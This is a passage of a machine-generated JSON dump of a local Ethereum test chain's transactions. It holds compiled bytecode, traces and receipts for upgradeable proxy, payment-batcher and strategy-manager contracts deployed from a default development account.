f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b80820281158282048414176114f0576114f0611536565b634e487b7160e01b600052603260045260246000fd5b6000600182016118d5576118d5611536565b5060010190565b600063ffffffff821663ffffffff81036118f8576118f8611536565b60010192915050565b848152606060208201528260608201528284608083013760006080848301015260006080601f19601f860116830101905082604083015295945050505050565b60006020828403121561195357600080fd5b5051919050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60005b838110156119c05781810151838201526020016119a8565b50506000910152565b600082516119db8184602087016119a5565b9190910192915050565b6020815260008251806020840152611a048160408501602087016119a5565b601f01601f1916919091016040019291505056fe360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206748051d7a2f61bea55c916703299805f41105f129e68bce3e4f529bc9c61fa664736f6c634300081c0033","gas_used":1385995,"gas_limit":1850052,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a69df4b51161006f578063a69df4b5146103c0578063a7d31809146103d5578063c0c53b8b146103f5578063c891091314610415578063f2fde38b1461046c578063f83d08ba1461048c57600080fd5b8063715018a61461034257806373e289d0146103575780638456cb591461036d5780638da5cb5b14610382578063953ef807146103a057600080fd5b80634d5431ea116100f25780634d5431ea146102865780634f1ef286146102bf57806352d1902d146102d257806358b96e27146102e75780635c975abb1461031f57600080fd5b806317d89c4e146101ad5780632df4e21e146101f95780632e1a7d4d1461022f5780633659cfe6146102515780633f4ba83a1461027157600080fd5b366101a85733600090815260fd60205260408120805434929061015290849061154c565b909155505033600081815260fd602052604080822060010191909155517f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be7709061019e9034815260200190565b60405180910390a2005b600080fd5b3480156101b957600080fd5b506101e66101c8366004611574565b6001600160a01b0316600090815260fd602052604090206002015490565b6040519081526020015b60405180910390f35b34801561020557600080fd5b506101e6610214366004611574565b6001600160a01b0316600090815260fd602052604090205490565b34801561023b57600080fd5b5061024f61024a366004611591565b6104a1565b005b34801561025d57600080fd5b5061024f61026c366004611574565b6105de565b34801561027d57600080fd5b5061024f6106bd565b34801561029257600080fd5b506101e66102a1366004611574565b6001600160a01b0316600090815260fd602052604090206001015490565b61024f6102cd3660046115c0565b6106cf565b3480156102de57600080fd5b506101e661079f565b3480156102f357600080fd5b5060fc54610307906001600160a01b031681565b6040516001600160a01b0390911681526020016101f0565b34801561032b57600080fd5b5060655460ff1660405190151581526020016101f0565b34801561034e57600080fd5b5061024f610852565b34801561036357600080fd5b506101e6610e1081565b34801561037957600080fd5b5061024f610864565b34801561038e57600080fd5b506033546001600160a01b0316610307565b3480156103ac57600080fd5b5060fb54610307906001600160a01b031681565b3480156103cc57600080fd5b5061024f610874565b3480156103e157600080fd5b5061024f6103f03660046116d8565b61090b565b34801561040157600080fd5b5061024f6104103660046117a0565b610b9f565b34801561042157600080fd5b50610451610430366004611574565b60fd6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101f0565b34801561047857600080fd5b5061024f610487366004611574565b610de9565b34801561049857600080fd5b5061024f610e5f565b6104a9610ed5565b33600090815260fd6020526040902080548211156104ec5780546040516321c3d50f60e01b81526004810191909152602481018390526044015b60405180910390fd5b600181015415806105005750428160010154115b1561052d576001810154604051635f6e272d60e11b815260048101919091524260248201526044016104e3565b8181600001600082825461054191906117eb565b909155505060006001820181905560405133917fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd91a2604051339083156108fc029084906000818181858888f193505050501580156105a4573d6000803e3d6000fd5b5060405182815233907feaff4b37086828766ad3268786972c0cd24259d4c87a80f9d3963a3c3d999b0d9060200160405180910390a25050565b6001600160a01b037f0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba31630036106265760405162461bcd60e51b81526004016104e3906117fe565b7f0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba36001600160a01b031661066f600080516020611a19833981519152546001600160a01b031690565b6001600160a01b0316146106955760405162461bcd60e51b81526004016104e39061184a565b61069e81610f1b565b604080516000808252602082019092526106ba91839190610f23565b50565b6106c5611093565b6106cd6110ed565b565b6001600160a01b037f0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba31630036107175760405162461bcd60e51b81526004016104e3906117fe565b7f0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba36001600160a01b0316610760600080516020611a19833981519152546001600160a01b031690565b6001600160a01b0316146107865760405162461bcd60e51b81526004016104e39061184a565b61078f82610f1b565b61079b82826001610f23565b5050565b6000306001600160a01b037f0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba3161461083f5760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016104e3565b50600080516020611a1983398151915290565b61085a611093565b6106cd600061113f565b61086c611093565b6106cd611191565b61087c610ed5565b33600090815260fd602052604081205490036108ad5760405163b38340cf60e01b81523360048201526024016104e3565b6108b9610e104261154c565b33600081815260fd6020526040908190206001018390555190917f43e8fb9d4f009c90c55a3fa108b177b794704d61af7af6f6512db7883f8ed8439161090191815260200190565b60405180910390a2565b60fc546001600160a01b03163314610938576040516302a5785160e31b81523360048201526024016104e3565b610940610ed5565b83600081900361096357604051630c43ac2960e41b815260040160405180910390fd5b82600003610984576040516351d432c560e11b815260040160405180910390fd5b8361098f8285611896565b116109c1578361099f8285611896565b604051637899ec7160e01b8152600481019290925260248201526044016104e3565b60005b818163ffffffff161015610aa257600087878363ffffffff168181106109ec576109ec6118ad565b9050602002016020810190610a019190611574565b6001600160a01b038116600090815260fd60205260409020805491925090861115610a5b578054604051634f779ceb60e01b81526001600160a01b03841660048201526024810191909152604481018790526064016104e3565b600281018054906000610a6d836118c3565b919050555085816000016000828254610a8691906117eb565b9250508190555050508080610a9a906118dc565b9150506109c4565b5060fb5460405163d66eaabd60e01b81526001600160a01b039091169063d66eaabd908690610adb908d908d908d908990600401611901565b6000604051808303818588803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b5050505050887f4f9439a5aed9cb470d2e0756e7d293accfe5223e719a9a1a256646378ec4375884604051610b3f91815260200190565b60405180910390a260fc546001600160a01b03166108fc85610b618487611896565b610b6b91906117eb565b6040518115909202916000818181858888f19350505050158015610b93573d6000803e3d6000fd5b50505050505050505050565b600054610100900460ff1615808015610bbf5750600054600160ff909116105b80610bd95750303b158015610bd9575060005460ff166001145b610c3c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016104e3565b6000805460ff191660011790558015610c5f576000805461ff0019166101001790555b6001600160a01b038416610cae57604051630b0f5aa160e11b815260206004820152601560248201527430b634b3b732b229b2b93b34b1b2a6b0b730b3b2b960591b60448201526064016104e3565b6001600160a01b038316610d0557604051630b0f5aa160e11b815260206004820152601a60248201527f626174636865725061796d656e74536572766963654f776e657200000000000060448201526064016104e3565b6001600160a01b038216610d4c57604051630b0f5aa160e11b815260206004820152600d60248201526c18985d18da195c95d85b1b195d609a1b60448201526064016104e3565b610d546111ce565b610d5c6111fd565b610d64611224565b610d6d8361113f565b60fb80546001600160a01b038087166001600160a01b03199283161790925560fc8054928516929091169190911790558015610de3576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b610df1611093565b6001600160a01b038116610e565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6106ba8161113f565b610e67610ed5565b33600090815260fd60205260408120549003610e985760405163366095e160e11b81523360048201526024016104e3565b33600081815260fd6020526040808220600101829055517fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd9190a2565b60655460ff16156106cd5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104e3565b6106ba611093565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615610f5b57610f5683611253565b505050565b826001600160a01b03166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610fb5575060408051601f3d908101601f19168201909252610fb291810190611941565b60015b6110185760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201526d6f6e206973206e6f74205555505360901b60648201526084016104e3565b600080516020611a1983398151915281146110875760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f786044820152681a58589b195555525160ba1b60648201526084016104e3565b50610f568383836112ef565b6033546001600160a01b031633146106cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104e3565b6110f5611314565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611199610ed5565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586111223390565b600054610100900460ff166111f55760405162461bcd60e51b81526004016104e39061195a565b6106cd61135d565b600054610100900460ff166106cd5760405162461bcd60e51b81526004016104e39061195a565b600054610100900460ff1661124b5760405162461bcd60e51b81526004016104e39061195a565b6106cd61138d565b6001600160a01b0381163b6112c05760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016104e3565b600080516020611a1983398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6112f8836113c0565b6000825111806113055750805b15610f5657610de38383611400565b60655460ff166106cd5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016104e3565b600054610100900460ff166113845760405162461bcd60e51b81526004016104e39061195a565b6106cd3361113f565b600054610100900460ff166113b45760405162461bcd60e51b81526004016104e39061195a565b6065805460ff19169055565b6113c981611253565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606001600160a01b0383163b6114685760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016104e3565b600080846001600160a01b03168460405161148391906119c9565b600060405180830381855af49150503d80600081146114be576040519150601f19603f3d011682016040523d82523d6000602084013e6114c3565b606091505b50915091506114eb8282604051806060016040528060278152602001611a39602791396114f6565b925050505b92915050565b6060831561150557508161152f565b8251156115155782518084602001fd5b8160405162461bcd60e51b81526004016104e391906119e5565b9392505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156114f0576114f0611536565b6001600160a01b03811681146106ba57600080fd5b60006020828403121561158657600080fd5b813561152f8161155f565b6000602082840312156115a357600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156115d357600080fd5b82356115de8161155f565b9150602083013567ffffffffffffffff8111156115fa57600080fd5b8301601f8101851361160b57600080fd5b803567ffffffffffffffff811115611625576116256115aa565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715611654576116546115aa565b60405281815282820160200187101561166c57600080fd5b816020840160208301376000602083830101528093505050509250929050565b60008083601f84011261169e57600080fd5b50813567ffffffffffffffff8111156116b657600080fd5b6020830191508360208260051b85010111156116d157600080fd5b9250929050565b60008060008060008060008060c0898b0312156116f457600080fd5b88359750602089013567ffffffffffffffff81111561171257600080fd5b8901601f81018b1361172357600080fd5b803567ffffffffffffffff81111561173a57600080fd5b8b602082840101111561174c57600080fd5b60209190910197509550604089013567ffffffffffffffff81111561177057600080fd5b61177c8b828c0161168c565b999c989b5096999698976060880135976080810135975060a0013595509350505050565b6000806000606084860312156117b557600080fd5b83356117c08161155f565b925060208401356117d08161155f565b915060408401356117e08161155f565b809150509250925092565b818103818111156114f0576114f0611536565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b80820281158282048414176114f0576114f0611536565b634e487b7160e01b600052603260045260246000fd5b6000600182016118d5576118d5611536565b5060010190565b600063ffffffff821663ffffffff81036118f8576118f8611536565b60010192915050565b848152606060208201528260608201528284608083013760006080848301015260006080601f19601f860116830101905082604083015295945050505050565b60006020828403121561195357600080fd5b5051919050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60005b838110156119c05781810151838201526020016119a8565b50506000910152565b600082516119db8184602087016119a5565b9190910192915050565b6020815260008251806020840152611a048160408501602087016119a5565b601f01601f1916919091016040019291505056fe360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206748051d7a2f61bea55c916703299805f41105f129e68bce3e4f529bc9c61fa664736f6c634300081c0033","nonce":55,"gas_used":1548783},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x17a1ef","logs":[{"address":"0x2bdcc0de6be1f7d2ee689a0342d76f52e8efaba3","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000100000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x75420cbf0f2dc83044089a605da9a8bf726e8a771a89f070855ab3c41cd23d66","block_number":14},{"info":{"transaction_hash":"0x22a9f86b632e0721e86b2a5abace725309858cf2abca7c3f7f22df7902873912","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052348015600f57600080fd5b50607780601d6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea264697066735822122083f6599f3b40efb95aaba690bbeee04c49e0cc0eebd29434caa726d365b9d29f64736f6c634300081c0033","output":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea264697066735822122083f6599f3b40efb95aaba690bbeee04c49e0cc0eebd29434caa726d365b9d29f64736f6c634300081c0033","gas_used":23875,"gas_limit":47605,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea264697066735822122083f6599f3b40efb95aaba690bbeee04c49e0cc0eebd29434caa726d365b9d29f64736f6c634300081c0033","nonce":2,"gas_used":79145},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x65ecf","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x44a074a396a59231e218c4b92f584fef3166505bb534345f43a00160de232059","block_number":2},{"info":{"transaction_hash":"0x24844141bd83f9ae1b97e98c0adfe35fc92104c3140a19a283bcaca2c1bbcbdd","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x0dcd1bf9a1b36ce34237eeafef220932846bcd82","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x0dcd1bf9a1b36ce34237eeafef220932846bcd82","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61010060405234801561001157600080fd5b5060405161337a38038061337a83398101604081905261003091610135565b6001600160a01b0380841660805280831660a052811660c05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516131a36101d760003960006114b70152600061046e0152600061028501526000818161051a01528181610b8201528181610ecf01528181610f230152611a6c01526131a36000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f000000000000000000000000000000000000000000000000000000000000000046036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e63686